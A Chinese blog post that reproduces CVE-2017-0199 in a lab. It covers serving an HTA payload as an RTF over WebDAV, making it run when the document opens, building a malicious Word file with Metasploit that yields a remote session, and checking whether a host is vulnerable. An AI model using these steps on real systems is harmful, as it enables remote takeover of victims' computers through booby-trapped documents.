CVE-2017-0199漏洞复现过程
记录一下过程,周日已经出了结果,但是过程忘记了,抽空再次实现了一下。结尾附上利用MSF生成exploit(外国黑客城会玩)。
准备工作
一台apache服务器(这里我用Kali)、POC和一个Word文档。
POC内容大概如下:
1 | <script> |
Word文档内容任意。
然后将其放在Kali服务器上
Apache需要开启DAV支持,具体命令如下
1 | a2enmod dav |
测试过程
在web目录新建ms文件夹,将test.docx复制到ms目录下,并重命名为test.rtf
1 |
|
新建Word文档,插入对象
如图
并保存为rtf文件,如233.rtf
删除服务器上的test.rtf文件
并将poc.hta文件复制到ms目录下,并改名为test.rtf
1 | root@kali:/var/www/html/ms# rm -rf test.rtf |
修改Apache配置
1 | <Directory /> |
并重启服务器service apache2 restart
打开233.rtf文档
双击word文档的文字,将会有惊喜弹出
打开文档就弹出的话需要将\object\objautlink\rsltpict
修改为\object\objautlink\objupdate\rsltpict
再次打开文件
彩蛋(MSF下的实现)
在kali下执行。
首先更新msf到最新。(假设你们都完成了这个过程)
下载利用脚本
1 | root@kali:/usr/share/metasploit-framework/modules/exploits/windows/fileformat# wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb |
然后msf下执行命令reload_all
重新加载模块
下载rtf文件到/usr/share/metasploit-framework/data/exploits
目录
1 | cd /usr/share/metasploit-framework/data/exploits |
开启hta服务
1 | msf > use exploit/windows/misc/hta_server |
生成exploit文档
1 | msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta |
将生成的msf.doc文件复制到windows上,打开即可获取一个会话
如下所示
WIndows下结果
Kali下结果
附加
如何判断是否受到影响(2017.04.19)
新建word文档->插入->对象->对象->由文件创建
在文件名中输入获取的hta链接,并选中链接到文件
如果出现如下结果,则说明受到影响
如果仅仅出现下面的弹窗,则说明不受影响,就不需要接下来的测试了。。
主机和虚拟机镜像采用的同一套系统,Office用的也一样,但是虚拟机不可以,而主机可以。我也不知道为啥····
参考文章
http://rewtin.blogspot.nl/2017/04/cve-2017-0199-practical-exploitation-poc.html?m=1
https://github.com/rapid7/metasploit-framework/pull/8254